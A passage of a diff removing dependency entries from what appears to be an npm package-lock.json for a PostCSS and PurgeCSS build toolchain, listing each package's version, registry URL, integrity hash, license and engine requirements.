"resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", - "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", - "dev": true, - "license": "MIT" - }, - "node_modules/electron-to-chromium": { - "version": "1.5.321", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.321.tgz", - "integrity": "sha512-L2C7Q279W2D/J4PLZLk7sebOILDSWos7bMsMNN06rK482umHUrh/3lM8G7IlHFOYip2oAg5nha1rCMxr/rs6ZQ==", - "dev": true, - "license": "ISC" - }, - "node_modules/emoji-regex": { - "version": "9.2.2", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", - "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", - "dev": true, - "license": "MIT" - }, - "node_modules/escalade": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", - "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/fast-glob": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", - "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@nodelib/fs.stat": "^2.0.2", - "@nodelib/fs.walk": "^1.2.3", - "glob-parent": "^5.1.2", - "merge2": "^1.3.0", - "micromatch": "^4.0.8" - }, - "engines": { - "node": ">=8.6.0" - } - }, - "node_modules/fastq": { - "version": "1.20.1", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz", - "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", - "dev": true, - "license": "ISC", - "dependencies": { - "reusify": "^1.0.4" - } - }, - "node_modules/fill-range": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", - "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", - "dev": true, - "license": "MIT", - "dependencies": { - "to-regex-range": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/foreground-child": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", - "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", - "dev": true, - "license": "ISC", - "dependencies": { - "cross-spawn": "^7.0.6", - "signal-exit": "^4.0.1" - }, - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/fraction.js": { - "version": "5.3.4", - "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz", - "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": "*" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/rawify" - } - }, - "node_modules/fs-extra": { - "version": "10.1.0", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", - "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "graceful-fs": "^4.2.0", - "jsonfile": "^6.0.1", - "universalify": "^2.0.0" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/fsevents": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" - } - }, - "node_modules/get-caller-file": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", - "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", - "dev": true, - "license": "ISC", - "engines": { - "node": "6.* || 8.* || >= 10.*" - } - }, - "node_modules/get-stdin": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-9.0.0.tgz", - "integrity": "sha512-dVKBjfWisLAicarI2Sf+JuBE/DghV4UzNAVe9yhEJuzeREd3JhOTE9cUaJTeSa77fsbQUK3pcOpJfM59+VKZaA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/glob": { - "version": "10.5.0", - "resolved": "https://registry.npmjs.org/glob/-/glob-10.5.0.tgz", - "integrity": "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==", - "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", - "dev": true, - "license": "ISC", - "dependencies": { - "foreground-child": "^3.1.0", - "jackspeak": "^3.1.2", - "minimatch": "^9.0.4", - "minipass": "^7.1.2", - "package-json-from-dist": "^1.0.0", - "path-scurry": "^1.11.1" - }, - "bin": { - "glob": "dist/esm/bin.mjs" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "dev": true, - "license": "ISC", - "dependencies": { - "is-glob": "^4.0.1" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/globby": { - "version": "12.2.0", - "resolved": "https://registry.npmjs.org/globby/-/globby-12.2.0.tgz", - "integrity": "sha512-wiSuFQLZ+urS9x2gGPl1H5drc5twabmm4m2gTR27XDFyjUHJUNsS8o/2aKyIF6IoBaR630atdher0XJ5g6OMmA==", - "dev": true, - "license": "MIT", - "dependencies": { - "array-union": "^3.0.1", - "dir-glob": "^3.0.1", - "fast-glob": "^3.2.7", - "ignore": "^5.1.9", - "merge2": "^1.4.1", - "slash": "^4.0.0" - }, - "engines": { - "node": "^12.20.0 || ^14.13.1 || >=16.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/graceful-fs": { - "version": "4.2.11", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", - "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", - "dev": true, - "license": "ISC" - }, - "node_modules/ignore": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", - "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/is-binary-path": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", - "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", - "dev": true, - "license": "MIT", - "dependencies": { - "binary-extensions": "^2.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/is-glob": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", - "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-extglob": "^2.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.12.0" - } - }, - "node_modules/isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", - "dev": true, - "license": "ISC" - }, - "node_modules/jackspeak": { - "version": "3.4.3", - "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz", - "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==", - "dev": true, - "license": "BlueOak-1.0.0", - "dependencies": { - "@isaacs/cliui": "^8.0.2" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - }, - "optionalDependencies": { - "@pkgjs/parseargs": "^0.11.0" - } - }, - "node_modules/jsonfile": { - "version": "6.2.0", - "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", - "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", - "dev": true, - "license": "MIT", - "dependencies": { - "universalify": "^2.0.0" - }, - "optionalDependencies": { - "graceful-fs": "^4.1.6" - } - }, - "node_modules/lilconfig": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz", - "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - } - }, - "node_modules/lru-cache": { - "version": "10.4.3", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", - "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", - "dev": true, - "license": "ISC" - }, - "node_modules/merge2": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", - "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 8" - } - }, - "node_modules/micromatch": { - "version": "4.0.8", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", - "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", - "dev": true, - "license": "MIT", - "dependencies": { - "braces": "^3.0.3", - "picomatch": "^2.3.1" - }, - "engines": { - "node": ">=8.6" - } - }, - "node_modules/minimatch": { - "version": "9.0.9", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz", - "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", - "dev": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^2.0.2" - }, - "engines": { - "node": ">=16 || 14 >=14.17" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/minipass": { - "version": "7.1.3", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz", - "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==", - "dev": true, - "license": "BlueOak-1.0.0", - "engines": { - "node": ">=16 || 14 >=14.17" - } - }, - "node_modules/nanoid": { - "version": "3.3.11", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", - "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "bin": { - "nanoid": "bin/nanoid.cjs" - }, - "engines": { - "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" - } - }, - "node_modules/node-releases": { - "version": "2.0.36", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.36.tgz", - "integrity": "sha512-TdC8FSgHz8Mwtw9g5L4gR/Sh9XhSP/0DEkQxfEFXOpiul5IiHgHan2VhYYb6agDSfp4KuvltmGApc8HMgUrIkA==", - "dev": true, - "license": "MIT" - }, - "node_modules/normalize-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/package-json-from-dist": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz", - "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==", - "dev": true, - "license": "BlueOak-1.0.0" - }, - "node_modules/path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/path-scurry": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz", - "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==", - "dev": true, - "license": "BlueOak-1.0.0", - "dependencies": { - "lru-cache": "^10.2.0", - "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" - }, - "engines": { - "node": ">=16 || 14 >=14.18" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/path-type": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", - "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/picocolors": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", - "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", - "license": "ISC" - }, - "node_modules/picomatch": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", - "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8.6" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/pify": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", - "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/postcss": { - "version": "8.5.8", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.8.tgz", - "integrity": "sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg==", - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/postcss" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "nanoid": "^3.3.11", - "picocolors": "^1.1.1", - "source-map-js": "^1.2.1" - }, - "engines": { - "node": "^10 || ^12 || >=14" - } - }, - "node_modules/postcss-cli": { - "version": "9.1.0", - "resolved": "https://registry.npmjs.org/postcss-cli/-/postcss-cli-9.1.0.tgz", - "integrity": "sha512-zvDN2ADbWfza42sAnj+O2uUWyL0eRL1V+6giM2vi4SqTR3gTYy8XzcpfwccayF2szcUif0HMmXiEaDv9iEhcpw==", - "dev": true, - "license": "MIT", - "dependencies": { - "chokidar": "^3.3.0", - "dependency-graph": "^0.11.0", - "fs-extra": "^10.0.0", - "get-stdin": "^9.0.0", - "globby": "^12.0.0", - "picocolors": "^1.0.0", - "postcss-load-config": "^3.0.0", - "postcss-reporter": "^7.0.0", - "pretty-hrtime": "^1.0.3", - "read-cache": "^1.0.0", - "slash": "^4.0.0", - "yargs": "^17.0.0" - }, - "bin": { - "postcss": "index.js" - }, - "engines": { - "node": ">=12" - }, - "peerDependencies": { - "postcss": "^8.0.0" - } - }, - "node_modules/postcss-load-config": { - "version": "3.1.4", - "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-3.1.4.tgz", - "integrity": "sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg==", - "dev": true, - "license": "MIT", - "dependencies": { - "lilconfig": "^2.0.5", - "yaml": "^1.10.2" - }, - "engines": { - "node": ">= 10" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - "peerDependencies": { - "postcss": ">=8.0.9", - "ts-node": ">=9.0.0" - }, - "peerDependenciesMeta": { - "postcss": { - "optional": true - }, - "ts-node": { - "optional": true - } - } - }, - "node_modules/postcss-reporter": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/postcss-reporter/-/postcss-reporter-7.1.0.tgz", - "integrity": "sha512-/eoEylGWyy6/DOiMP5lmFRdmDKThqgn7D6hP2dXKJI/0rJSO1ADFNngZfDzxL0YAxFvws+Rtpuji1YIHj4mySA==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "picocolors": "^1.0.0", - "thenby": "^1.3.4" - }, - "engines": { - "node": ">=10" - }, - "peerDependencies": { - "postcss": "^8.1.0" - } - }, - "node_modules/postcss-selector-parser": { - "version": "6.1.2", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz", - "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==", - "dev": true, - "license": "MIT", - "dependencies": { - "cssesc": "^3.0.0", - "util-deprecate": "^1.0.2" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-value-parser": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", - "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/pretty-hrtime": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz", - "integrity": "sha512-66hKPCr+72mlfiSjlEB1+45IjXSqvVAIy6mocupoww4tBFE9R9IhwwUGoI4G++Tc9Aq+2rxOt0RFU6gPcrte0A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/purgecss": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/purgecss/-/purgecss-6.0.0.tgz", - "integrity": "sha512-s3EBxg5RSWmpqd0KGzNqPiaBbWDz1/As+2MzoYVGMqgDqRTLBhJW6sywfTBek7OwNfoS/6pS0xdtvChNhFj2cw==", - "dev": true, - "license": "MIT", - "dependencies": { - "commander": "^12.0.0", - "glob": "^10.3.10", - "postcss": "^8.4.4", - "postcss-selector-parser": "^6.0.7" - }, - "bin": { - "purgecss": "bin/purgecss.js" - } - }, - "node_modules/queue-microtask": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", - "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/read-cache": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", - "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", - "dev": true, - "license": "MIT", - "dependencies": { - "pify": "^2.3.0" - } - }, - "node_modules/readdirp": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", - "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", - "dev": true, - "license": "MIT", - "dependencies": { - "picomatch": "^2.2.1" - }, - "engines": { - "node": ">=8.10.0" - } - }, - "node_modules/require-directory": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/reusify": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", - "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", - "dev": true, - "license": "MIT", - "engines": { - "iojs": ">=1.0.0", - "node": ">=0.10.0" - } - }, - "node_modules/run-parallel": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", - "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT", - "dependencies": { - "queue-microtask": "^1.2.2" - } - }, - "node_modules/shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "dev": true, - "license": "MIT", - "dependencies": { - "shebang-regex": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/signal-exit": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", - "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", - "dev": true, - "license": "ISC", - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/slash": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz", - "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/source-map-js": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", - "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", - "license": "BSD-3-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/string-width": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", - "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", - "dev": true, - "license": "MIT", - "dependencies": { - "eastasianwidth": "^0.2.0", - "emoji-regex": "^9.2.2", - "strip-ansi": "^7.0.1" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/string-width-cjs": { - "name": "string-width", - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", - "dev": true, - "license": "MIT", - "dependencies": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - 